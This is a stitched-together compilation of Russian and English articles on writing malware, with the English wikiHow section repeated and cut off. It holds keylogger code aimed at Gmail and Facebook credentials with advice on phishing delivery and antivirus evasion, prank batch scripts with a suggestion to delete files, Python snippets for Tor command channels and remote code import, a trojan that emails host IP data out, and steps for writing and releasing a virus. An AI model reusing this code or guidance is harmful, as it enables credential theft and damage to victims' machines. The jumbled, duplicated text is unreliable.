Как пишут программы вирусы

Время на прочтение
6 мин

Количество просмотров 134K

image

Хакерский мир можно условно разделить на три группы атакующих:

1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.

2) «Byuers» — не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.

3) «Black Hat Сoders» — гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.

Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.

Зачем ИБ-персоналу эти сомнительные навыки?

Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.

Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.

Кейлогер

Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.

Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.

Начнем.

Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:

1.  [DllImport("user32.dll")]
2.  
3.  public static extern int GetAsyncKeyState(Int32 i);

Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:

Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:

1.  while (true)
2.  {
3.  Thread.Sleep(100);
4.  for (Int32 i = 0; i < 255; i++)
5.  {
6.  int state = GetAsyncKeyState(i);
7.  if (state == 1 || state == -32767)
8.  {
9.  Console.WriteLine((Keys)i);
10. 
11. }
12. }
13. }

Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.

Умный кейлогер

Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.

Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.

Вторая версия кода:

1.  while (true) 
2.  {
3.  IntPtr handle = GetForegroundWindow();
4.  if (GetWindowText(handle, buff, chars) > 0)
5.  {
6.  string line = buff.ToString();
7.  if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up "))
8.  {
9.  //проверка клавиатуры 
10. }
11. }
12. Thread.Sleep(100);
13. }

Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.

Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.

Еще более умный кейлогер

Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.

Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:

1.  //Ищем почтовый адрес
2.  ^[w!#$%&'*+-/=?^_`{|}~]+(.[w!#$%&'*+-/=?^_`{|}~]+)*@((([-w]+.)+[a-zA-Z]{2,4})|(([0-9]{1,3}.){3}[0-9]{1,3}))$
3.  
4.  
5.  //Ищем пароль
6.  (?=^.{6,}$)(?=.*d)(?=.*[a-zA-Z])

Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.

Для C# это выглядит так:

1.  Regex re = new Regex(@"^[w!#$%&amp;'*+-/=?^_`{|}~]+(.[w!#$%&amp;'*+-/=?^_`{|}~]+)*@((([-w]+.)+[a-zA-Z]{2,4})|(([0-9]{1,3}.){3}[0-9]{1,3}))$");
2.  Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*d)(?=.*[a-zA-Z])");
3.  string email = "Oded.awask@gmail.com";
4.  string pass = "abcde3FG";
5.  Match result = re.Match(email);
6.  Match result2 = re2.Match(pass);

Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.

Бесплатно и полностью не обнаружим

В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.

Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?

Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.

image

В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.

Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.

В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.


Загрузить PDF


Загрузить PDF

Вирусы-шутки — это несложные программы, которые можно подсунуть другу (или врагу), и тот будет думать, что его компьютер взломан, поражен вирусом или серьезно поврежден. Вирусы-шутки можно писать в обычном Блокноте: нужно лишь записать в файл команды, которые замедляют работу компьютера, выводят из строя работу операционной системы или просто пугают пользователя, а затем заставить его запустить этот файл. Вирусы-шутки могут быть чем угодно, начиная от надоедливой неприятности и заканчивая кошмаром, нарушающим работу системы. «Вирусы» из этой статьи предназначены только для безобидных шуток, самое худшее, что они могут сделать, — это выключить компьютер. Внимание: эти вирусы-шутки предназначены только для компьютеров под управлением Windows, они не будут работать на Mac OS без специальной подготовки. Начнем с шага 1.

  1. 1

    Запустите Блокнот. Пакетные (.BAT) файлы содержат команды для компьютера в текстовом виде. Для того, чтобы написать BAT-файл, не нужен специальный редактор — достаточно Блокнота из стандартного набора программ Windows. Блокнот можно найти в меню «Пуск» или в подменю «Стандартные». Открыть Блокнот можно также, нажав сочетание клавиш Win+R, в текстовом поле появившегося диалогового окна набрать «notepad» и нажать Enter.

  2. 2

    Наберите «@echo off», а затем, с новой строки, «CLS». По умолчанию BAT-файлы открывают окно командной строки и выводят исполняемые команды. Команды «@echo off» и «CLS» предотвращают появление команд в окне командной строки, делая причину шутки невидимой для «жертвы».

  3. 3

    Напишите команды для открытия множества (или бесконечного количества) окон. Теперь наступило время написать последовательность команд, исполняя которые, ваш поддельный вирус откроет много окон разных программ один раз или будет отрывать эти окна бесконечно. Важно знать, если бесконечно открывается очень много окон, компьютер в конце концов может зависнуть. Читайте далее о том, как сделать оба вида «вируса»:

    • Чтобы открыть определенное количество окон, с новой строки наберите в Блокноте следующую команду: start (название программы). Вместо фразы в скобках введите название программы на компьютере «жертвы» или или полное имя исполняемого файла. Эта команда дает инструкцию компьютеру открывать окно указанной программы. Например, start iexplore.exe откроет окно Internet Explorer. Повторите команду «start» столько раз, сколько захотите, и ваш «вирус» откроет окно столько раз, сколько вы укажете. Вот несколько программ которые можно ввести после команды «start»:
      • iexplore.exe — браузер Interent Explorer
      • calc.exe — Калькулятор
      • notepad.exe — Блокнот
      • winword.exe — Microsoft Word
    • Чтобы открыть бесконечное количество окон, сначала с новой строки наберите :A, включая двоеточие. На следующей строке наберите start iexplore.exe (или другую программу). И, наконец, строкой ниже наберите goto A. Эта последовательность команд заставит компьютер открывать окно Internet Explorer (или любой другой программы), возвращаться к месту непосредственно перед открытием окна, а затем сразу же открывать новое окно, пока окно командной строки не будет закрыто или компьютер не зависнет.
  4. 4

    Напишите в «вирусе» сообщение. Для устрашающего эффекта можно добавить в «вирус» сообщение, которое заставит пользователя думать, что с его компьютером что-то не так. Чтобы отобразить сообщение, начните новую строку и наберите echo Ваше сообщение. Затем с новой строки наберите pause. Команда «pause» остановит выполнение «вируса» после появления сообщения.

    • Чтобы ваша шутка была правдоподобной, напишите сообщение, похожее на настоящие сообщения об ошибках, например: Фатальная ошибка. C:// каталог поврежден.
  5. 5

    Сохраните текст как пакетный файл. Когда закончите, в меню Блокнота выберите Файл > Сохранить как…, а затем укажите расширение файла «.bat» (например, «pinball.bat»). В выпадающем списке «Тип файла» выберите «Все файлы». Сохраните файл где нибудь на компьютере «жертвы».

  6. 6

    Заставьте пользователя открыть файл. Чтобы ваша шутка сработала, нужно сделать так, чтобы «жертва» запустила ее. Этого можно добиться разными способами. Один из самых работающих — создать ярлык для своего пакетного файла и изменить его иконку на что-то, чем пользователь действительно пользуется, а затем изменить название ярлыка, чтобы оно соответствовало иконке. Откиньтесь на спинку кресла и наблюдайте за результатами из удобного места!

    Реклама

  1. 1

    Запустите Блокнот. Как и в предыдущей шутке, в этой нужно написать в Блокноте несколько простых команд. Однако на этот раз эффект будет другим — вместо открытия окон это шутка создает несколько сообщений с ошибками, которые заставят пользователя думать, что его в работе операционной системы произошла ошибка или что компьютер был взломан.

  2. 2

    Наберите «x=msgbox(«Текст сообщения», 5+16, «Заголовок сообщения») точно так, как здесь указано, включая скобки и кавычки, и замените «Текст сообщения» и «Заголовок сообщения» желаемым текстом. Эта команда открывает стандартное диалоговое окно ошибки Windows с указанными вами сообщением об ошибке и заголовком окна. Чтобы ваша шутка была правдоподобной, используйте сообщения и заголовки, похожие на настоящие. Например попробуйте в качестве заголовка «Ошибка терминала», а в качестве сообщения — «В каталоге C://Users/Windows/system32 обнаружена критическая неисправность».

    • Возможно, вам захочется развить свою шутку в направлении взлома. В таком случае используйте сообщения вроде: «Я имею полный доступ к вашей системе. Приготовьтесь ко взлому». На самом деле ничего такого не случится, так что это сработает только с людьми, которые плохо разбираются в компьютерах.
    • Выражение «5+16» указывает компьютеру создать диалоговое окно с иконкой критической ошибки и двумя кнопками «Повтор» и «Отмена». Изменяя эти числа, можно получить разные типы окон с ошибками. Просто подставьте из приведенных ниже чисел любое число из одной цифры вместо 5 и любое число из двух цифр вместо 16:
      • 0 (Кнопка OK)
      • 1 (Кнопки OK и Отмена)
      • 2 (Кнопки Отмена, Повтор и Пропустить)
      • 3 (Кнопки Да, Нет, и Отмена)
      • 4 (Кнопки Да и Нет)
      • 5 (Кнопки Повтор и Отмена)
      • 16 (Иконка критической ошибки)
      • 32 (Иконка помощи)
      • 48 (Иконка предупреждения)
      • 64 (Иконка информации)
  3. 3

    Повторяйте сообщение об ошибке сколько вам угодно. Повторяйте команды, приведенные выше столько раз, сколько пожелаете, с любыми сообщениями об ошибках. Сообщения будут появляться одно за другим, то есть, как только пользователь закроет одно сообщение, откроется другое. Можете использовать этот факт, чтобы создать длинное сообщение, которое будет носить все более неотлагательный характер.

  4. 4

    Сохраните документ как файл Visual Basic (VBA). Когда вы введете все желаемые сообщения, сохраните файл. В меню Блокнота выберите Файл > Сохранить как…, дайте своему файлу имя с расширением «.vba». Обязательно выберите «Все файлы» из выпадающего списка «Тип файла». Теперь, чтобы шутка удалась, нужно заставить «жертву» запустить этот файл, например используя трюк из метода 1.

    Реклама

  1. 1

    Запустите Блокнот. Это шутка использует команды из Блокнота, чтобы заставить компьютер открывать программы случайным образом до тех пор, пока пакетный файл не будет отключен или компьютер не зависнет. Чтобы сделать эту шутку, вам просто нужно скопировать и вставить команды, указанные в этом разделе. Однако заметьте, что это сработает не на всех компьютерах.

  2. 2

    Скопируйте и вставьте следующие команды:@echo offclsbegingoto %random%:1start cmd.exegoto begin:2start mspaint.exegoto begin:3start pinball.exegoto begin:4start iexplore.exegoto begin:5start explorer.exegoto begin:6start solitaire.exegoto begin:7start explorer.exegoto begin:8start edit.exegoto begin:9start iexplore.exegoto begin:0start mspaint.exegoto begin

  3. 3

    Изменяйте эти команды на свое усмотрение. Этот код случайным образом бесконечно открывает программы, указанные после слова «start». Возможно, вы заметили, что некоторые программы повторяются. Изменяйте список программ, как вы того пожелаете.

    • Заметьте, что некоторые названия программ, перечисленных выше, могут быть неправильными для некоторых машин, например на некоторых компьютерах может не быть «pinball.exe». Следует проверить дважды правильность названий программ, перед тем как перемещать вирус-шутку на компьютер «жертвы».
    • Если вы сомневаетесь в названии какой-то программы, помните, что точный путь программы тоже подходит. Например, вместо «iexplore.exe» можно написать «C:Program FilesInternet Explorer».
  4. 4

    Сохраните текст как пакетный файл и запустите его (если отважитесь). Сохраните файл с расширением «.bat», выбрав «Все файлы» из выпадающего списка «Тип файла». Когда вам удастся заставить пользователя запустить его, он начнет случайным образом без остановки открывать программы в компьютере.

    • Чтобы было веселей, попробуйте заменить в одной из команд ‘*.exe’ на полный путь к какому-либо документу пользователя. Например, ‘start C:Документы123.doc’ откроет документ 123.doc из папки «Документы» в редакторе по умолчанию, а
      edit (полное имя файла)
      goto begin
      откроет указанный файл в текстовом редакторе DOS. Это будет выглядеть так, как будто хакер читает личные документы. Помните, что имя файла, содержащее пробелы, должно заключаться в кавычки!
  5. 5

    Изучите значения команд, чтобы модифицировать свои шутки. Даже если вы не понимаете, как они работают, вирусы-шутки могут быть хорошим развлечением. Но вам будет еще веселей, если вы будете понимать, что происходит при их запуске, и когда вы разберетесь, как работают эти «вирусы», вы сможете писать свои собственные! Вот список команд, используемых в этой статье, а также их краткое описание:

    • @echo off — отключить вывод команд.
    • cls — очистить экран командной строки. Командная строка будет выглядеть аккуратней.
    • goto A — перейти на метку А.
    • %random% — переменная Windows, генерирующая случайные числа от 0 до 9 (включительно).
    •  :(число, буква или слово) — метка. На нее можно переходить с помощью команды «goto».
    • На заметку: в примере выше у нас 10 меток. Если мы пропустим одно число, программа закроется, если %random% сгенерирует это число.

    Реклама

Советы

  • Вот образец одной из самых надоедливых программ и ее код:

    @echo off
    :a
    start notepad
    goto a

    Все, что она делает — открывает Блокнот бесконечное количество раз до тех пор, пока пользователь не закроет окно командной строки. Не запускайте ее на компьютере без присмотра — это может плохо закончиться.

    Это упрощенный вариант метода 1, рассмотренного выше.

  • Экспериментируйте с разными командами! Если вы хотите сделать шутку зловредной, примените команду, которая удаляет файлы или стирает данные с жесткого диска.

Реклама

Предупреждения

  • У вас могут быть проблемы с использованием вредоносных пакетных файлов или порчей школьных или общественных компьютеров. Непредусмотренная отправка таких файлов через интернет или запись их в общественные системы запрещена.
  • Не перестарайтесь. 10 копий чего-то вроде Пинбола очень раздражают. Сотни копий могут привести к зависанию компьютера и лишить кое-кого работы.

Реклама

Что вам понадобится

  • Компьютер с ОС Windows
  • Блокнот
  • Любое программируемое приложение

Об этой статье

Эту страницу просматривали 539 825 раз.

Была ли эта статья полезной?

В мире  существует много явлений с сомнительной и спорной репутацией. Например, сюда можно отнести  хоккей на траве, датскую квашеную селедку и мужские трусы-стринги. А еще к этому  списку можно с абсолютной уверенностью добавить вирусы на Python.

Трудно сказать, что толкает людей на создание вредоносного ПО на этом языке программирования. Обилие выпускников “шестимесячных курсов Django-программистов” с пробелами в базовых технических познаниях?  Желание нагадить ближнему без необходимости учить C/C++?  Или благородное желание разобраться в технологиях виримейкерства путем создания небольших прототипов вирусов на удобном языке?

Если отбросить часть иронии…

… и вникнуть в ситуацию, то становится видно, что адекватные  питонячие зловреды не только существуют, но и успешно заражают компьютеры. Их мало, они относительно легко вычисляются антивирусами  (полиморфный код в питонячих вирусах невозможен, об этом поговорим чуть ниже), но и общая компьютерная грамотность среднего пользователя невысока, что дает этим вирусам шанс на выживание и успешное заражение.

Есть  продвинутый бэкдор Seaduke, родившийся где-то на территории России и принадлежащий к семейству Duke. По этому семейству вирусов есть подробный доклад. Исходные тексты Seaduke удалось восстановить, текст доступен для прочтения на github.

Есть PWOBot, на протяжении нескольких лет успешно заражавший компы в Восточной Европе (преимущественно в Польше). Есть PoetRAT, заразивший в начале этого года государственные компьютеры в Азербайджане. PoetRAT — вполне зрелый образец вредоносного кода, способный воровать учетки, делать снимки с камеры и логировать нажатия клавиш. Есть еще несколько десятков примеров вирусов на  Python, которые успешно расселились по интернету в достаточном количестве, чтобы попасться в поле зрения кибербезопасников.

Как нам теперь становится ясно, тема питонячих вирусов — совсем не такая дохлая, как кажется на первый взгляд. Давайте вместе посмотрим на то, как и с какими библиотеками пишутся зловреды на Python.

Упаковка в бинарники

Поскольку Python —  язык интерпретируемый, это создает некоторые трудности при дистрибуции зловредов: нужно, чтобы в ОС был интерпретатор нужной версии, а все необходимые библиотеки были установлены в правильные места на диске. Все это сильно мешает типу программ, который должен сам себя устанавливать и запускать. Поэтому питонячие вирусы, направленные на заражение клиентских машин (а ведь можно еще и заражать серверы) принято упаковывать в бинарный исполняемый файл, который содержит в себе либо интерпретатор с библиотеками в архиве, либо двоичную программу, собранную на основе Python кода.

  • https://www.py2exe.org/ — старый классический способ упаковки питонячих программ в бинарники. Он создает архив, в котором лежит интерпретатор,  ваш код + все необходимые зависимости. 
  • https://nuitka.net/ — более хитрый способ сборки бинарников. Этот инструмент транслирует Python код в  С и потом компилирует его. 

Антивирусы умеют распознавать шаблоны и типичные структуры вирусов, так они вычисляют зловредные программы по их типичным последовательностям байтов. Чтобы скрыться от антивируса,  виримейкеры делаю свой код самомодифицируемым — при каждой новой установке зловред переписывает свой код и порождает все новые и новые варианты двоичного файла, которые уже не опознаются антивирусами. Такой подход называется полиморфным кодированием и его невозможно применять в случае, если вы работаете с Python кодом, транслируемым в бинарник.  Лишенные основного инструменты противостояния антивирусам, питонячие зловреды весьма уязвимы даже перед самыми простыми антивирусными программами.

Но на многих компах сегодня нет ативирусов, поэтому вирусы на Python способы выживать и активно размножаться.

А шо вирусу делать?

Зловредам надо как-то общаться со своими владельцами, получать от них команды и обновления, передавать им добытые данные. Без обратной связи вирусы могут только мелко хулиганить. 

Для общения нужен какой-то удаленный адрес, с которым осуществляется обмен информацией. Регать домен и покупать  сервер — палевно: владельца вируса можно легко вычислить. Конечно, есть всякие анонимные хостинги и регистраторы доменов сомнительной честности, но и с ними риски не минимальны.

Более безопасный вариант — мессенджеры (IRC, Jabber) и, конечно же, Tor. 

Для обмена данными с хозяевами вирусы используют библиотеку torpy.  В ней все предельно просто — заводишь список адресов (на всякий случай, вдруг один из хостов отвалится), коннектишься к доступным  и получаешь апдейты к вирусу или команды.

from torpy import TorClient

hostname = 'ifconfig.me'  # It's possible use onion hostname here as well
tor = TorClient()
# Choose random guard node and create 3-hops circuit
with tor.create_circuit(3) as circuit:
    # Create tor stream to host
    with circuit.create_stream((hostname, 80)) as stream:
        # Now we can communicate with host
        stream.send(b'GET / HTTP/1.0rnHost: %srnrn' % hostname.encode())
        recv = stream.recv(1024)

Работа с tor c этой либой проста, не сложнее requests.

А шо бы своровать?

Воровство персональных данных — важная часть жизни любого вируса. Вопрос поиска и парсинга различных файлов с паролями перед программистами не стоит — это легко делается штатными средствами  Python. Перехват нажатий клавиш в ОС — сложнее, но это можно нагуглить. Для работы с вебкой — OpenCV.  Единственное, что вызывает вопросы — как делать скриншоты из Python?

На выручку приходит pyscreenshot. Предвосхищая ваши вопросы, скажу, что магии внутри библиотеки нет — она не умеет из Питона читать буфер экрана. В основе этого пакета лежит коллекция костылей и подпорок, которые определяют тип ОС, в которой работает ваша программа и дальше идет поиск внутри операционки доступных инструментов для снятия скриншотов.

# pyscreenshot/examples/grabfullscreen.py

"Grab the whole screen"
import pyscreenshot as ImageGrab

# grab fullscreen
im = ImageGrab.grab()

# save image file
im.save("fullscreen.png")

Звучит это все очень ненадежно, но библиотека адекватно справляется со снятием изображений с экрана на всех популярных платформах.

Серверная токсичность

Бэкдоры на Python для серверов  тоже встречаются в природе. Они тоже способны гадить в вашей системе, но механизмы работы у них уже другие.

Например, питонячему серверному вирусу не обязательно упаковываться в бинарник — интерпретатор Python есть на многих серваках: можно запускаться на нем.  Поэтому авторы зловредов для серверного применения вместо упаковки кода используют обфускацию — запутывание исходников так, чтобы их невозможно было прочитать.

Один из самых популярных инструментов для обфускации — pyarmor. Одна команда легко превращает ваш код в нечитаемую хрень и усложняет понимание текста программы.  Тема обфускации кода вообще сама по себе очень интересна, для углубления познаний по этой теме рекомендую ознакомиться с книгой. Pyarmor пригодится не только авторам вирусов, но и тем, кто хочеть по каким-то причинам защитить исходники от легкого прочтения. 

Вторая вещь, на которую нужно обратить внимание авторам серверного вредоносного ПО — наличие библиотек.

Конечно, можно весь код засунуть в один файл — но тогда он будет очень большим. Второй вариант — exec()/eval() и чтение кода с удаленного сервера: этот подход явно лучше!  Но самый  простой в реализации  способ — использование готовой библиотеки httpimport для удаленного импорта питонячих пакетов.

>>> with httpimport.remote_repo(['package1','package2','package3'], 'http://my-codes.example.com/python_packages'):
...     import package1
...
>>> with httpimport.github_repo('operatorequals', 'covertutils', branch = 'master'):
...     import covertutils
... # Also works with 'bitbucket_repo' and 'gitlab_repo'

Трояны

Теория

Так что же такое троян? Вирус — это программа, основная задача которой — копировать самого себя. Червь активно распространяется по сети (типичные примеры — Petya и WannaCry), а троян — это скрытая вредоносная программа, маскирующаяся под «хорошее» ПО.

Логика такого заражения заключается в том, что пользователь сам загружает вредоносное ПО на свой компьютер (например, под видом неработающей программы), сам отключает механизмы защиты (в конце концов, программа выглядит нормально) и хочет оставить его на долгое время. Хакеры здесь тоже не спят, поэтому время от времени появляются новости о новых жертвах пиратского программного обеспечения и программ-вымогателей, нацеленных на любителей халявы. Но мы знаем, что бесплатный сыр можно найти только в мыеловке, и сегодня мы очень легко научимся заполнять этот сыр чем-то неожиданным.



import smtplib as smtp
import socket
from getpass import getpass
from requests import get
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
email = 'demo@spy-soft.net'
password = '***'
dest_email = 'demo@spy-soft.net'
subject = 'IP'
email_text = (f'Host: {hostname}nLocal IP: {local_ip}nPublic IP: {public_ip}')
message = 'From: {}nTo: {}nSubject: {}nn{}'.format(email, dest_email, subject, email_text)
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()

Вот и все

Это далеко не полный список того, что используют авторы зловредов на Python. Описанные выше инструменты и подходы научат вас тому, как мыслят вирусописатели и чем могут быть опасны подозрительные питонячие скрипты. 

Внимательно относитесь к малоизвестным зависимостям и пакетам, которые ставите в свои проекты. Не доверяйте обфусцированному коду и всегда просматривайте код малознакомых библиотек перед запуском.

Просмотры: 2 982


Download Article

Simple guide to make a virus


Download Article

Have you ever wished you could create your own virus, either for your own learning or as a prank? Virus creation takes time and knowledge, but anyone can do it if they put their mind to it. Creating a virus can teach you a lot about how a programming language works, as well as operating system and network security. While it may seem as if all viruses are malicious, viruses are simply pieces of code whose goal is to spread as many copies of itself as possible. See Step 1 below to get started and have fun creating your own virus.

Steps

  1. Image titled Create a Virus Step 1

    1

    Determine what operating system you are going to attack. The most common target is Microsoft Windows, especially older versions. Many old Windows users do not update their operating system, leaving them vulnerable to security holes that may be fixed in newer versions.

    • Mac OS X and Linux are both fairly virus-proof due to the way permissions work and the general architecture of the operating system. 95% of all viruses target Windows users.
  2. Image titled Create a Virus Step 2

    2

    Decide how you want it to spread. A virus is only a virus if it can spread to other users. You will need to figure out the delivery method before beginning, as it is one of the fundamentals of the virus’s code. Common delivery mechanisms include:

    • Executable file (.EXE, .BAT, .COM etc.) — This program needs to be run by the user, and is often disguised as something else (such as an image).
    • Macro (Microsoft Office) — Macros are programs that are embedded into a document or email. They target Word, Outlook, and other macro-enabled products. The most common method of delivery is via email with an infected document attached.
    • Web script — These are pieces of malicious code that are injected into sites without the webmasters’ knowledge.

    Advertisement

  3. Image titled Create a Virus Step 3

    3

    Determine the weak spot that you want to target. Successful viruses exploit weak spots in a program’s or system’s security to spread and carry out their actions. This requires a lot of research and know how, but there are communities out there that can help you find what you need.

  4. Image titled Create a Virus Step 4

    4

    Decide what you want your virus to do. Once your virus has infected a system, what do you want it to do? Effects can range from nothing, to displaying a message, to deleting files, and much worse. Be aware that creating and spreading a malicious virus is a serious crime in the most countries.

  5. Image titled Create a Virus Step 5

    5

    Choose a language. In order to create a virus, you will need to have at least a basic understanding of at least one computer language or scripting tool. More complex viruses often involve several languages. For really effective viruses, you will need to be familiar with assembly languages.

    • If you’re interested in making executable viruses, C or C++ is a good place to start.
    • If you want to make macro viruses, learn the macro language for your target programs such as Microsoft Office.
    • Visual Basic can be used to create malicious programs for Windows users.
  6. Image titled Create a Virus Step 6

    6

    Start writing your virus. This will be a long process, especially if this is your first time coding something. Experiment as much as possible, and research ways to replicate your code depending on the language you are using. There are tutorials on forums and community blogs for a variety of languages.

    • Research polymorphic code. This will alter the code of your virus every time it replicates, making it difficult to track with antivirus programs. Polymorphic code is fairly advanced, and is implemented differently in every language.
  7. Image titled Create a Virus Step 7

    7

    Research ways to hide your code. Besides polymorphic coding, there are other ways to hide your virus. Encryption is a very common tool used by virus developers. It takes a lot of practice and reading, but it can go a long way in increasing the lifespan of your virus.

  8. Image titled Create a Virus Step 8

    8

    Test your virus. Once you have a prototype up and running, test it out on as many different machines and setups as possible. This will be easiest if you are able to set up virtual machines in different configurations.

    • Make sure that you keep your tests contained so that you don’t accidentally release your virus before you are ready. Put the test machines on an isolated network and see the effects of the virus spreading.
    • Adjust your virus’s code as you observe it working on the test machines. Fix any issues that it runs into
  9. Image titled Create a Virus Step 9

    9

    Release your virus. If you’re satisfied with your virus’s performance, it’s time to release it. Before you do, however, ask yourself if you’re prepared to face any consequences that may come from releasing a virus into the wild. It may be better to use that experience and work on new projects.[1]

  10. Advertisement

Add New Question

  • Question

    Why would someone want to mess up other people’s computers?

    Community Answer

    Because some people want to watch the world burn.

  • Question

    Why would someone write a virus?

    Community Answer

    To prank a friend maybe. Or maybe you want to get revenge on an old enemy.

  • Question

    How can I determine if the virus is being spread across the web or interface of an electronic grid?

    Community Answer

    Go into the code or just download a spyware detector.

See more answers

Ask a Question

200 characters left

Include your email address to get a message when this question is answered.

Submit

Advertisement

  • If you are looking to remove a virus, see this article «How to Remove Malware».

Thanks for submitting a tip for review!

Advertisement

  • Only release viruses to demonstrate security vulnerabilities to other users.

  • Releasing malicious code into the wild is illegal.

Advertisement

About This Article

Thanks to all authors for creating a page that has been read 830,367 times.

Is this article up to date?


Download Article

Simple guide to make a virus


Download Article

Have you ever wished you could create your own virus, either for your own learning or as a prank? Virus creation takes time and knowledge, but anyone can do it if they put their mind to it. Creating a virus can teach you a lot about how a programming language works, as well as operating system and network security. While it may seem as if all viruses are malicious, viruses are simply pieces of code whose goal is to spread as many copies of itself as possible. See Step 1 below to get started and have fun creating your own virus.

Steps

  1. Image titled Create a Virus Step 1

    1

    Determine what operating system you are going to attack. The most common target is Microsoft Windows, especially older versions. Many old Windows users do not update their operating system, leaving them vulnerable to security holes that may be fixed in newer versions.

    • Mac OS X and Linux are both fairly virus-proof due to the way permissions work and the general architecture of the operating system. 95% of all viruses target Windows users.
  2. Image titled Create a Virus Step 2

    2

    Decide how you want it to spread. A virus is only a virus if it can spread to other users. You will need to figure out the delivery method before beginning, as it is one of the fundamentals of the virus’s code. Common delivery mechanisms include:

    • Executable file (.EXE, .BAT, .COM etc.) — This program needs to be run by the user, and is often disguised as something else (such as an image).
